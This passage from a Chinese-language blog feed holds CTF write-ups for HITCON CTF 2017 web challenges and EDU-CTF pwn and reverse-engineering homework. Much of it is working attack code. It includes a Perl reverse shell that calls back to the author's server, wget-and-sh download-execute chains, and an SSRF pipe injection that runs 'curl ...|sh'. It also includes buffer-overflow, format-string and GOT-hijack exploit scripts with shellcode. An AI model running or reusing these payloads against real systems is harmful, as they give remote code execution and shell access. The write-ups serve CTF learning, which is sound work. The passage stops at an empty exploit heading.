<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>最近開始嘗試打Bug Bounty和認真搞Web，沒時間碰Pwn惹QQ</p>
<p>有聽聞Line的bug bounty打得人少，但錢給蠻多的</p>
<p>所以理論上應該會比較好挖一點</p>
<p>雖然最後沒拿到錢啦QQ</p>
<p>不過有個Special Contributor</p>
<p>也挺潮的，值得紀念一下</p>]]>
    
    </summary>
    
      <category term="BugBounty" scheme="http://blog.kaibro.tw/tags/BugBounty/"/>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[HITCON CTF初賽]]></title>
    <link href="http://blog.kaibro.tw/2017/11/07/HITCON-CTF%E5%88%9D%E8%B3%BD/"/>
    <id>http://blog.kaibro.tw/2017/11/07/HITCON-CTF初賽/</id>
    <published>2017-11-07T05:35:17.000Z</published>
    <updated>2017-11-08T09:41:16.000Z</updated>
    <content type="html"><![CDATA[<p>我來打醬油的<br>好像都沒貢獻到啥QQ</p>
<p>來記錄一下Web簡單題的解法<br>和幾題賽中有碰，但沒解出來的QQ</p>
<h2 id="Baby_First_Revenge_v1"><a href="#Baby_First_Revenge_v1" class="headerlink" title="Baby First Revenge v1"></a>Baby First Revenge v1</h2><p>這題和隊友討論很久才搞定QQ<br>其實一開始我們的方向就是正確的<br>比賽剛開始就在想，利用<code>&gt;ls</code>之類的寫檔<br>再用<code>ls&gt;z</code>，把產生的那些檔名塞到另一個檔案<br>最後串成指令去<code>sh z</code>跑</p>
<p>但後來發現ls會有順序問題，難搞定<br>思路就愈走愈偏了QQ<br><a id="more"></a><br><br></p>
<p>後來我們搞老半天<br>成功想到可以這樣去爆所有檔案路徑<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">&gt;find</div><div class="line">* /&gt;z</div></pre></td></tr></table></figure></p>
<p>然後發現<code>/home/fl4444g/</code>下有一個README.txt<br>接著就想辦法去讀它</p>
<p>後來終於構造出<code>tar vcf a /</code>，把整個root打包起來下載(1.4G左右)<br>打開<code>/home/fl4444g/README.txt</code>看，崩潰<br>他給你mysql帳號密碼，說flag在裡面</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">Flag is in the MySQL database</div><div class="line">fl4444g / SugZXUtgeJ52_Bvr</div></pre></td></tr></table></figure>
<p>所以基本上就是要拿shell惹QQ</p>
<p><br></p>
<p>我後來是發現有<code>lsof</code>可以用<br>可以看其他人在幹啥XDDD<br>甚至也可以拿到別人的ip hash  (( 就是<code>md5(&#39;orange&#39;.ip);</code><br>這一招真的對我們幫助很大XD<br><img src="https://i.imgur.com/I7szGI7.png" alt=""></p>
<p>因為我發現很多人卡著shell<br>就用他們的hash去看目錄下有啥<br>意外的大家目錄下都有<code>index.html</code></p>
<p>然後內容都是reverse shell連線command<br>再看一下目錄下其他檔案<br>就大概能猜出<br>他們是用<code>wget</code>載他們server上的index.html<br>然後<code>sh i*</code>去reverse shell連回去</p>
<p>想通這點，後面就很快了<br>就只要想辦法構造wget kaibro.tw之類的<br>這部分會蠻吃域名名稱的<br>如果域名是abcde.tw之類的會很難構造XD<br>隊友還因此買了一個x開頭的短域名<br>然後就秒構造一個payload拿到shell了</p>
<p>我後來認真構造一下<br>終於能成功執行<code>wget kaibro.tw</code>惹</p>
<p>payload如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line">&gt;echo</div><div class="line">&gt;wg\</div><div class="line">*&gt;.a</div><div class="line">rm w*</div><div class="line">&gt;et</div><div class="line">&gt;ka\</div><div class="line">*&gt;&gt;.a</div><div class="line">rm e*</div><div class="line">rm k*</div><div class="line">&gt;echo</div><div class="line">&gt;ibr\</div><div class="line">*&gt;&gt;.a</div><div class="line">rm i*</div><div class="line">&gt;o.t\</div><div class="line">*&gt;&gt;.a</div><div class="line">rm o*</div><div class="line">&gt;w</div><div class="line">*&gt;&gt;.a</div></pre></td></tr></table></figure>
<p>結尾用<code>\</code>可以把多行指令串起來<br><code>*</code>可以把當前目錄下文件名展開當作指令跑</p>
<p>(看起來很簡單，實際上自己踹，會發現很多細節要注意)</p>
<p>執行完上面那坨之後<br>我們目錄下的<code>.a</code>就會長得像：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">wg\</div><div class="line">et ka\</div><div class="line">ibr\</div><div class="line">o.t\</div><div class="line">w</div></pre></td></tr></table></figure>
<p><br><br>接著在我的server上放<code>index.html</code>:</p>
<figure class="highlight perl"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">perl -e <span class="string">'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))&#123;open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");&#125;;'</span></div></pre></td></tr></table></figure>
<p>所以只要<code>sh .a</code><br>就會執行wget下載reverse shell指令到index.html惹</p>
<p>然後讓server listen一下<br><code>nc -vl 5566</code></p>
<p>再來<code>sh i*</code>就會去run index.html上的指令惹<br>shell就彈出來了</p>
<p>彈出來之後去連mysql，然後就可以抓出FLAG惹</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">$ mysql -u fl4444g -p</div><div class="line">Enter password: SugZXUtgeJ52_Bvr</div><div class="line"></div><div class="line">use fl4gdb;</div><div class="line">select * from this_is_the_fl4g;</div><div class="line">exit</div></pre></td></tr></table></figure>
<p><code>hitcon{idea_from_phith0n,thank_you:)}</code></p>
<p><br><br><br></p>
<p>順便一提，我在這題收集了很多hash<br>然後在SSRFme那題也可以看別人在幹啥XD<br>只是都沒看到啥有用的<br>可能太晚收集了，沒收集到強隊的hash QQ<br>甚至還有人故意在127.0.0.1的目錄下塞假flag<br>我一開始還以為是有人讀出flag後忘記刪掉<br>一整個被騙，花了不少時間去確認</p>
<p>原本還想學他，再塞幾個假flag騙人，報復一下XD<br>後來想說算惹，就只塞了一個佛祖保佑圖<br>如果有人在SSRF這題看到，那87%就是我塞的XD</p>
<p><br></p>
<h2 id="Baby_Ruby_Escaping"><a href="#Baby_Ruby_Escaping" class="headerlink" title="Baby Ruby Escaping"></a>Baby Ruby Escaping</h2><p>這題搞很久，最後還是沒搞出來<br>隊上好像也沒人對ruby熟，所以一直放置著</p>
<p>看別人writeup才知道<br>原來socat連上後，按兩次tab就會顯示檔名…<br>超低能，都沒發現=.=<br>然後就可以用<code>ARGV&lt;&lt;&quot;thanks_readline_for_completing_the_name_of_flag&quot;</code><br>把檔名塞進argv中<br>之後直接<code>gets</code>，就會把裡面內容讀出來<br>(ruby會先去ARGV讀</p>
<p><code>hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}</code></p>
<p>ruby is so hard QAQ</p>
<p><br></p>
<h2 id="Data__26amp_3B_mining"><a href="#Data__26amp_3B_mining" class="headerlink" title="Data &amp; mining"></a>Data &amp; mining</h2><p>這題一開始看很久<br>後來發現封包裡面有個地方連到xmrpool<br>推測他應該是在挖礦<br>跟題目名字和題目敘述也很吻合<br>告訴隊友後<br>隊友直接搜xmr就找到flag惹</p>
<p>不過…<br>後來我才知道直接搜hitcon就能看到flag了=.=<br>連wireshark都不用開 頗呵<br>難怪兩小時就30隊解掉，感覺題目沒設計好R<br><code>hitcon{BTC_is_so_expensive_$$$$$$$}</code></p>
<p><br></p>
<h2 id="SSRFme"><a href="#SSRFme" class="headerlink" title="SSRFme"></a>SSRFme</h2><p>這題也是賽中沒解出來<br>第二天一直在搞這題<br>整個方向都想偏了<br>一直以為要像Discuz Pwn一樣打某個服務</p>
<p>看了別人的write up<br>發現有人用一招很猥瑣的方式拿flag<br>類似這樣：<br><code>curl &#39;http://13.115.136.15/?url=a&amp;filename=|curl+http://kaibro.tw|sh&#39;</code><br><code>curl &#39;http://13.115.136.15/?url=file:|curl+http://kaibro.tw|sh&#39;</code></p>
<p>就是perl的GET看到file會去open本地檔案<br>然後跟AIS3講的ruby open一樣<br>可以在後面塞 | 去執行指令 =&gt; RCE</p>
<p>但是從source code可以看到，它會先去檢查檔案是否存在<br>所以必須先建立檔案</p>
<p>例如<code>filename=|ls</code>會去建立<code>|ls</code>這個檔案<br>然後<code>url=file:|ls</code>就會執行ls惹<br>可以用|sleep+10之類的來測試一下，會卡個一下，說明有成功執行</p>
<p>接著建立reverse shell，去跑/readflag就能拿flag惹<br><code>hitcon{Perl_&lt;3_y0u}</code></p>
<p>真的沒想到這題能這樣解，覺得奇技淫巧</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>我來打醬油的<br>好像都沒貢獻到啥QQ</p>
<p>來記錄一下Web簡單題的解法<br>和幾題賽中有碰，但沒解出來的QQ</p>
<h2 id="Baby_First_Revenge_v1"><a href="#Baby_First_Revenge_v1" class="headerlink" title="Baby First Revenge v1"></a>Baby First Revenge v1</h2><p>這題和隊友討論很久才搞定QQ<br>其實一開始我們的方向就是正確的<br>比賽剛開始就在想，利用<code>&gt;ls</code>之類的寫檔<br>再用<code>ls&gt;z</code>，把產生的那些檔名塞到另一個檔案<br>最後串成指令去<code>sh z</code>跑</p>
<p>但後來發現ls會有順序問題，難搞定<br>思路就愈走愈偏了QQ<br>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[EDU-CTF 計算機安全]]></title>
    <link href="http://blog.kaibro.tw/2017/10/15/EDU-CTF-%E8%A8%88%E7%AE%97%E6%A9%9F%E5%AE%89%E5%85%A8/"/>
    <id>http://blog.kaibro.tw/2017/10/15/EDU-CTF-計算機安全/</id>
    <published>2017-10-15T02:34:27.000Z</published>
    <updated>2018-08-01T11:09:44.000Z</updated>
    <content type="html"><![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這堂課是台大、台科大、交大、中央(?聯合的資安課程<br>今年全上pwn跟reverse，跟前年不太一樣(前年還有教Web、Crypto…等)<br>這一篇文章主要放這門課作業和練習的Write up，記錄一下解法怕忘記</p>
<p>課程網站：<a href="https://csie.ctf.tw" target="_blank" rel="external">https://csie.ctf.tw</a></p>
<h2 id="5Bhw0_5D_Pwn_1"><a href="#5Bhw0_5D_Pwn_1" class="headerlink" title="[hw0] Pwn 1"></a>[hw0] Pwn 1</h2><p>0x400566有個<code>callme()</code><br>裡頭就是<code>system(&quot;/bin/sh&quot;)</code><br>overflow蓋return address跳過去即可get shell<br>padding長度40</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">perl -e &apos;print &quot;A&quot;x40, &quot;\x66\x05\x40\x00\x00\x00\x00\x00&quot;&apos;</div></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">FLAG&#123;BuFFer_0V3Rflow_is_too_easy&#125;</div></pre></td></tr></table></figure>
<a id="more"></a>
<h2 id="5Bhw0_5D_Rev_1"><a href="#5Bhw0_5D_Rev_1" class="headerlink" title="[hw0] Rev 1"></a>[hw0] Rev 1</h2><p>在0x8048420有個<code>print_flag()</code><br>用gdb跑，在main先下斷點，讓他停住<br>然後直接<code>set $eip=0x8048420</code> 跑printf_flag</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">FLAG&#123;_reverse_is_fun&#125;</div></pre></td></tr></table></figure>
<h2 id="5Bhw0_5D_Rev_2"><a href="#5Bhw0_5D_Rev_2" class="headerlink" title="[hw0] Rev 2"></a>[hw0] Rev 2</h2><p>丟ida pro看一下<br>可發現它會把輸入的字串的每個字元都跟0xcc做XOR<br>然後結果會拿去跟某個字串做比較<br>比較相同會跳Congret<br>所以基本上就可以猜測，那個拿來跟輸入比較的字串就是XOR過的FLAG<br>直接整串每個字元拿去做XOR 0xcc即可還原FLAG</p>
<h2 id="5Bhw0_5D_BubbleSort"><a href="#5Bhw0_5D_BubbleSort" class="headerlink" title="[hw0] BubbleSort"></a>[hw0] BubbleSort</h2><p>這題有個<code>DarkSoul()</code>，裡頭是<code>system(&quot;sh&quot;)</code><br>所以目標很明顯，想辦法讓程式流程跑到這即可<br>在輸入要sort幾個數字的地方，可以輸入有號整數<br>可以輸入負數！<br>但傳進BubbleSort後，卻被當成無號整數來處理<br>例如-125會變130</p>
<p>所以排序時，有可能把array以外的記憶體抓出來比較<br>構造一下就能把某個值排到stack上的特定位置</p>
<p><code>0x8048580 = 134514048 // DarkSoul()</code><br>讓這個位址排到return address的位址即可</p>
<p>payload:<br><code>perl -e &#39;print &quot;127\n&quot;,&quot;134514048 &quot;x127,&quot;\n&quot;,&quot;-125\n&quot;&#39;</code></p>
<p><code>FLAG{Bubble_sort_is_too_slow_and_this_question_is_too_easy}</code></p>
<h2 id="5Bhw0_5D_ret222"><a href="#5Bhw0_5D_ret222" class="headerlink" title="[hw0] ret222"></a>[hw0] ret222</h2><p>這題開了各種保護，但exit時用mprotect，把name附近權限開成可寫可執行</p>
<p>這題有兩個洞：</p>
<ol>
<li>format string</li>
<li>buffer overflow</li>
</ol>
<p>挖一下可發現，<code>%23</code>的位址是<code>canary</code>、<code>%25</code>是<code>return address</code><br>因為name buffer可執行，所以可以想辦法塞shellcode<br>但是有PIE的關係，要先leak code base算name的位址<br>觀察可發現，<code>%24</code>是<code>libc_csu_init的位址</code><br>所以leak它就能去算name位址</p>
<p>但buffer很小，可以用format string一個個塞shellcode進去<br>最後用gets把return address蓋成name位址即可</p>
<p>exploit:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10122</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">r.send(<span class="string">'1\n'</span>)</div><div class="line">r.send(<span class="string">'%23$p\n'</span>)</div><div class="line">r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">r.send(<span class="string">'2\n'</span>)</div><div class="line">r.recvuntil(<span class="string">'Name:'</span>)</div><div class="line">canary = int(r.recvline()[:<span class="number">-20</span>], <span class="number">16</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">r.send(<span class="string">'1\n'</span>)</div><div class="line">r.send(<span class="string">'%24$p\n'</span>)</div><div class="line">r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">r.send(<span class="string">'2\n'</span>)</div><div class="line">r.recvuntil(<span class="string">'Name:'</span>)</div><div class="line">name = int(r.recvline()[:<span class="number">-20</span>], <span class="number">16</span>) - <span class="number">0xd40</span> + <span class="number">0x202020</span></div><div class="line"></div><div class="line">sh = <span class="string">'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'</span></div><div class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, len(sh)):</div><div class="line">    r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">    r.send(<span class="string">'3\n'</span>)</div><div class="line">    r.recvuntil(<span class="string">'Your data:'</span>)</div><div class="line">    r.send(p64(name + <span class="number">16</span> +i) + <span class="string">'\n'</span>)</div><div class="line">    r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">    r.send(<span class="string">'1\n'</span>)</div><div class="line">    r.recvuntil(<span class="string">'Your name:'</span>)</div><div class="line">    r.send(<span class="string">'%'</span>+str(ord(sh[i]))+<span class="string">'c'</span>+<span class="string">'%6$hhn\n'</span>)</div><div class="line">    r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">    r.send(<span class="string">'2\n'</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">r.send(<span class="string">'1\n'</span>)</div><div class="line">r.recvuntil(<span class="string">'Your name:'</span>)</div><div class="line">r.send(<span class="string">'\x90'</span>*<span class="number">16</span> + <span class="string">'\n'</span>)   <span class="comment"># NOP sled</span></div><div class="line"></div><div class="line">r.recvuntil(<span class="string">'&gt;'</span>)</div><div class="line">r.send(<span class="string">'3\n'</span>)</div><div class="line">r.recvuntil(<span class="string">'Your data:'</span>)</div><div class="line">r.send(<span class="string">"A"</span>*<span class="number">136</span>+ p64(canary) +<span class="string">"A"</span>*<span class="number">8</span> + p64(name) + <span class="string">'\n'</span>)</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure></p>
<p><code>FLAG{YOU_ARE_REALLY_SMART!!!!!!}</code></p>
<h2 id="5Bpractice_5D_strings"><a href="#5Bpractice_5D_strings" class="headerlink" title="[practice] strings"></a>[practice] strings</h2><p>直接strings就噴FLAG了<br><code>strings ./strings-f83f44c269487fd909b2df1431bf65bb603e869b</code><br><code>FLAG{__flag_in_the_file}</code></p>
<h2 id="5Bpractice_5D_strace"><a href="#5Bpractice_5D_strace" class="headerlink" title="[practice] strace"></a>[practice] strace</h2><p>直接strace它，但要把output size改大一點，不然後半段看不到<br><code>strace -s 10000 ./strace-b291608bfa48c94f508c35f7ab6ce46135b840a6</code><br><code>FLAG{____yaaaa_flag_in_the_stack___}</code></p>
<h2 id="5Bpractice_5D_patching"><a href="#5Bpractice_5D_patching" class="headerlink" title="[practice] patching"></a>[practice] patching</h2><p>把它那個值patch成0x23333即可，可以用hexedit之類的tool去patch<br><code>FLAG{oa11TH80wfMEs6ZflBhGF4btUcS1Ds9y}</code></p>
<h2 id="5Bpractice_5D_pwntools"><a href="#5Bpractice_5D_pwntools" class="headerlink" title="[practice] pwntools"></a>[practice] pwntools</h2><p>這題正規解法好像是用pwntool寫二分搜玩猜數字(?<br>我比較懶惰直接gdb跑，b main<br>再<code>set $rip=0x400831</code>就會噴惹<br><code>FLAG{h02Ooysbv4O5Lf1Fmdrt2QKts7buYz0J}</code></p>
<h2 id="5Bhw1_5D_hw1"><a href="#5Bhw1_5D_hw1" class="headerlink" title="[hw1] hw1"></a>[hw1] hw1</h2><p>這題觀察一下，可以發現它會對輸入字串做一些處理<br>它會把每個字元的ASCII值乘上<code>(i+1 &lt;&lt; (i+2) % 0xa) + 0x2333</code><br>最後把得到的值轉成4個char存進檔案中<br>整個加密是可逆的<br>整個反過來做就可以還原FLAG了</p>
<p>My script:</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;iostream&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;fstream&gt;</span></span></div><div class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="built_in">string</span> s;</div><div class="line">    <span class="function">ifstream <span class="title">fin</span><span class="params">(<span class="string">"flag-ee94f5c9452a6db022db1e4f3a036b375b3ac472"</span>)</span></span>;</div><div class="line">    getline(fin, s);</div><div class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">38</span>  ; ++i) &#123;</div><div class="line">        <span class="keyword">int</span> sum = <span class="number">0</span>;</div><div class="line">        <span class="keyword">int</span> a = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)s[<span class="number">4</span>*i+<span class="number">2</span>];</div><div class="line">        <span class="keyword">int</span> b = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)s[<span class="number">4</span>*i+<span class="number">1</span>];</div><div class="line">        <span class="keyword">int</span> c = (<span class="keyword">unsigned</span> <span class="keyword">char</span>)s[<span class="number">4</span>*i];</div><div class="line">        sum += a * <span class="number">256</span> * <span class="number">256</span> + b * <span class="number">256</span> + c;</div><div class="line">        sum -= <span class="number">9011</span>;</div><div class="line">        <span class="keyword">char</span> ch = sum / ((i + <span class="number">1</span>) &lt;&lt; ((i + <span class="number">2</span>) % <span class="number">0xa</span>));</div><div class="line">        <span class="built_in">cout</span> &lt;&lt; ch;</div><div class="line">    &#125;</div><div class="line">    <span class="built_in">cout</span> &lt;&lt; <span class="built_in">endl</span>;</div><div class="line">    <span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>FLAG{Iost4SXskSmu53CbCAI5e52FBJkj1JKl}</code></p>
<h2 id="5Bpractice_5D_bof"><a href="#5Bpractice_5D_bof" class="headerlink" title="[practice] bof"></a>[practice] bof</h2><p>objdump -d -M intel ./bof 可以看到<code>www (0x400686)</code>裡面直接call system<br>算一下buffer overflow padding = 40<br>就跳過去吧<br>payload:<br><code>(perl -e &#39;print &quot;a&quot;x40, &quot;\x86\x06\x40\x00\x00\x00\x00\x00\n&quot;&#39;;cat) | nc csie.ctf.tw 10125</code><br><code>FLAG{vCa9cA1Gkp6BlV0ZrKIdHJlT8fabo6hE}</code></p>
<h2 id="5Bpractice_5D_ret2sc"><a href="#5Bpractice_5D_ret2sc" class="headerlink" title="[practice] ret2sc"></a>[practice] ret2sc</h2><p>這題就是塞shellcode<br>然後buffer overflow跳過去run<br>payload:<br><code>(perl -e &#39;print &quot;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&quot;,&quot;A&quot;x321,&quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot;&#39;;cat) | nc csie.ctf.tw 10126</code></p>
<p><code>FLAG{6EWQLMK1GDzMlV6vPFokzmtux4Fh42yJ}</code></p>
<h2 id="5Bpractice_5D_ret2lib"><a href="#5Bpractice_5D_ret2lib" class="headerlink" title="[practice] ret2lib"></a>[practice] ret2lib</h2><p>塞puts的got位址給他<br>讓他幫我們leak出來算libc base (puts_got - puts_offset)<br>然後直接overflow call system (base + system offset) 拿shell</p>
<p>exploit:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line">padding = <span class="number">56</span></div><div class="line">puts_pot = <span class="string">"0x601018"</span></div><div class="line">puts_off = <span class="number">0x6f690</span></div><div class="line">sh_offset = <span class="number">0x18cd17</span></div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10127</span>)</div><div class="line">r.send(puts_pot + <span class="string">"\n"</span>)</div><div class="line">r.recvuntil(<span class="string">'content:'</span>)</div><div class="line">puts_addr = r.recvline()</div><div class="line"><span class="keyword">print</span> puts_addr</div><div class="line">base = int(puts_addr, <span class="number">16</span>) - puts_off</div><div class="line"><span class="keyword">print</span> hex(base)</div><div class="line">system_addr = base + <span class="number">0x45390</span></div><div class="line">rdi_ret = <span class="number">0x400823</span></div><div class="line"></div><div class="line">r.send(<span class="string">"A"</span>*padding + p64(rdi_ret) + p64(base + sh_offset) + p64(system_addr) + p64(system_addr) + <span class="string">"\n"</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure></p>
<p><code>FLAG{O66cJwwT8lKl1oKhUG8DcwZxTSwnLaHu}</code></p>
<h2 id="5Bpractice_5D_format"><a href="#5Bpractice_5D_format" class="headerlink" title="[practice] format"></a>[practice] format</h2><p>直接<code>%x%x%x%x%x%x%x%x%x%x%x%x%x</code><br>就會噴出FLAG了，hex字串轉一下就行<br><code>FLAG{__format_str_exploit_OUO}</code></p>
<h2 id="5Bhw2_5D_gothijack"><a href="#5Bhw2_5D_gothijack" class="headerlink" title="[hw2] gothijack"></a>[hw2] gothijack</h2><p>這題name輸入時，不會被NULL截斷<br>但是在check的<code>strlen</code>卻只會檢查到NULL以前<br>而且name buffer還可寫可執行<br>再加上這題提供我們任意寫入(Writesomething)<br>所以思路就很單純了<br>塞shellcode進name，最前頭塞\x00繞過檢查<br>之後再用任意寫入把puts got蓋成name buffer位址即可</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10129</span>)</div><div class="line">r.recvuntil(<span class="string">"What's your name :"</span>)</div><div class="line"></div><div class="line"><span class="comment"># name輸入一個NULL繞過check + execve("/bin/sh")</span></div><div class="line">r.send(<span class="string">"\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n"</span>)</div><div class="line">r.recvuntil(<span class="string">"Where do you want to write :"</span>)</div><div class="line"></div><div class="line"><span class="comment"># puts got</span></div><div class="line">r.send(<span class="string">"0x601020\n"</span>)</div><div class="line">r.recvuntil(<span class="string">"data :"</span>)</div><div class="line"></div><div class="line"><span class="comment"># name buffer的位址+1 (跳過NULL)</span></div><div class="line">r.send(<span class="string">"\xa1\x10\x60\x00\x00\x00\x00\x00\n"</span>)</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{G0THiJJack1NG}</code></p>
<h2 id="5Bpractice_5D_simplerop_revenge"><a href="#5Bpractice_5D_simplerop_revenge" class="headerlink" title="[practice] simplerop_revenge"></a>[practice] simplerop_revenge</h2><p>這題題目長這樣：</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    <span class="keyword">char</span> buf[<span class="number">20</span>];</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"ROP is easy is'nt it ?"</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Your input :"</span>);</div><div class="line">    fflush(<span class="built_in">stdout</span>);</div><div class="line">    read(<span class="number">0</span>,buf,<span class="number">160</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>很明顯就是去overflow<br>然後串rop chain拿shell</p>
<p>exploit:</p>
